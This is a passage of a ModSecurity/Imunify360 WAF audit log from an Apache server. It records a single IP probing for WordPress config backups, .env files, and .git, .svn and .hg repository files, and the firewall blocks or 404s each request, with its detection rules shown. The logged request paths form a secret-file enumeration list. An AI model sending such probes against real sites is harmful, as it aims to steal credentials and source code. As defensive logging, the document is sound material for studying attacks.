Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqYgGmM7dE9KgIIOpQhgkAAAANQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789272090422162 60121 (- - -)
Stopwatch2: 1789272090422162 60121; combined=57859, p1=273, p2=57264, p3=0, p4=0, p5=322, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fe3d8169-Z--

--bfdf1b42-A--
[13/Sep/2026:07:01:32.414406 +0300] aqYgHCsVWymXUono-eRRCQAAAA8 169.40.142.172 54498 127.0.0.1 7081
--bfdf1b42-B--
GET /wp-config.php.old HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--bfdf1b42-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--bfdf1b42-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqYgHCsVWymXUono-eRRCQAAAA8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqYgHCsVWymXUono-eRRCQAAAA8"]
Action: Intercepted (phase 2)
Stopwatch: 1789272092358534 55945 (- - -)
Stopwatch2: 1789272092358534 55945; combined=54694, p1=237, p2=54165, p3=0, p4=0, p5=292, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bfdf1b42-Z--

--335ff058-A--
[13/Sep/2026:07:01:33.681608 +0300] aqYgHWM7dE9KgIIOpQhgkQAAAMA 169.40.142.172 54510 127.0.0.1 7081
--335ff058-B--
GET /wp-config.php.orig HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--335ff058-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--335ff058-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqYgHWM7dE9KgIIOpQhgkQAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqYgHWM7dE9KgIIOpQhgkQAAAMA"]
Action: Intercepted (phase 2)
Stopwatch: 1789272093622370 59394 (- - -)
Stopwatch2: 1789272093622370 59394; combined=57535, p1=503, p2=56566, p3=0, p4=0, p5=465, sr=258, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--335ff058-Z--

--da517126-A--
[13/Sep/2026:07:01:35.252178 +0300] aqYgHysVWymXUono-eRRCgAAABc 169.40.142.172 54514 127.0.0.1 7081
--da517126-B--
GET /wp-config.php.txt HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--da517126-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--da517126-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqYgHysVWymXUono-eRRCgAAABc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqYgHysVWymXUono-eRRCgAAABc"]
Action: Intercepted (phase 2)
Stopwatch: 1789272095196085 56144 (- - -)
Stopwatch2: 1789272095196085 56144; combined=53932, p1=365, p2=53135, p3=0, p4=0, p5=432, sr=148, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--da517126-Z--

--a2ada64b-A--
[13/Sep/2026:07:01:36.113448 +0300] aqYgICsVWymXUono-eRRCwAAABg 169.40.142.172 58940 127.0.0.1 7081
--a2ada64b-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--a2ada64b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--a2ada64b-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqYgICsVWymXUono-eRRCwAAABg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqYgICsVWymXUono-eRRCwAAABg"]
Action: Intercepted (phase 2)
Stopwatch: 1789272096057766 55727 (- - -)
Stopwatch2: 1789272096057766 55727; combined=54564, p1=218, p2=54029, p3=0, p4=0, p5=316, sr=95, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a2ada64b-Z--

--2356e365-A--
[13/Sep/2026:07:01:36.944199 +0300] aqYgICsVWymXUono-eRRDAAAABY 169.40.142.172 58948 127.0.0.1 7081
--2356e365-B--
GET /.env HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--2356e365-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--2356e365-E--

--2356e365-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "axapres.ro"] [uri "/.env"] [unique_id "aqYgICsVWymXUono-eRRDAAAABY"]
Stopwatch: 1789272096937074 7225 (- - -)
Stopwatch2: 1789272096937074 7225; combined=5499, p1=323, p2=4972, p3=95, p4=9, p5=99, sr=140, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2356e365-Z--

--6ea2af45-A--
[13/Sep/2026:07:01:41.382312 +0300] aqYgJWM7dE9KgIIOpQhgkwAAAMg 169.40.142.172 58990 127.0.0.1 7081
--6ea2af45-B--
GET /.env.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--6ea2af45-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--6ea2af45-E--

--6ea2af45-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.env.swp"] [unique_id "aqYgJWM7dE9KgIIOpQhgkwAAAMg"]
Stopwatch: 1789272101372426 9988 (- - -)
Stopwatch2: 1789272101372426 9988; combined=7670, p1=592, p2=6885, p3=114, p4=12, p5=66, sr=227, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6ea2af45-Z--

--18b76b25-A--
[13/Sep/2026:07:01:44.483488 +0300] aqYgKCsVWymXUono-eRREAAAAAQ 169.40.142.172 59016 127.0.0.1 7081
--18b76b25-B--
GET /.git/config HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--18b76b25-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--18b76b25-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqYgKCsVWymXUono-eRREAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqYgKCsVWymXUono-eRREAAAAAQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789272104420250 63344 (- - -)
Stopwatch2: 1789272104420250 63344; combined=60024, p1=266, p2=59249, p3=0, p4=0, p5=509, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--18b76b25-Z--

--73e3ee37-A--
[13/Sep/2026:07:01:45.599453 +0300] aqYgKSsVWymXUono-eRREQAAAAY 169.40.142.172 42562 127.0.0.1 7081
--73e3ee37-B--
GET /.git/HEAD HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--73e3ee37-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--73e3ee37-E--

--73e3ee37-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/HEAD"] [unique_id "aqYgKSsVWymXUono-eRREQAAAAY"]
Stopwatch: 1789272105591452 8107 (- - -)
Stopwatch2: 1789272105591452 8107; combined=6506, p1=533, p2=5819, p3=83, p4=9, p5=61, sr=273, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--73e3ee37-Z--

--c99e617e-A--
[13/Sep/2026:07:01:47.450869 +0300] aqYgK2M7dE9KgIIOpQhglwAAANI 169.40.142.172 42586 127.0.0.1 7081
--c99e617e-B--
GET /.git/index HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--c99e617e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--c99e617e-E--

--c99e617e-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/index||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/index||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/index"] [unique_id "aqYgK2M7dE9KgIIOpQhglwAAANI"]
Stopwatch: 1789272107445329 5599 (- - -)
Stopwatch2: 1789272107445329 5599; combined=4482, p1=300, p2=4037, p3=64, p4=40, p5=41, sr=137, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c99e617e-Z--

--e77b2c6d-A--
[13/Sep/2026:07:01:47.961158 +0300] aqYgKzTJ6xTvcJoem7f2MwAAAFE 169.40.142.172 42592 127.0.0.1 7081
--e77b2c6d-B--
GET /.svn/entries HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--e77b2c6d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--e77b2c6d-H--
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.svn/entries"] [unique_id "aqYgKzTJ6xTvcJoem7f2MwAAAFE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.svn/entries"] [unique_id "aqYgKzTJ6xTvcJoem7f2MwAAAFE"]
Action: Intercepted (phase 2)
Stopwatch: 1789272107907297 53901 (- - -)
Stopwatch2: 1789272107907297 53901; combined=52440, p1=262, p2=51917, p3=0, p4=0, p5=261, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e77b2c6d-Z--

--2573e45d-A--
[13/Sep/2026:07:01:48.285768 +0300] aqYgLGM7dE9KgIIOpQhgmAAAANY 169.40.142.172 42606 127.0.0.1 7081
--2573e45d-B--
GET /.hg/store/00manifest.i HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--2573e45d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--2573e45d-H--
Message: Warning. Matched phrase ".hg/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.hg/store/00manifest.i||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".hg/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.hg/store/00manifest.i||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.hg/store/00manifest.i"] [unique_id "aqYgLGM7dE9KgIIOpQhgmAAAANY"]
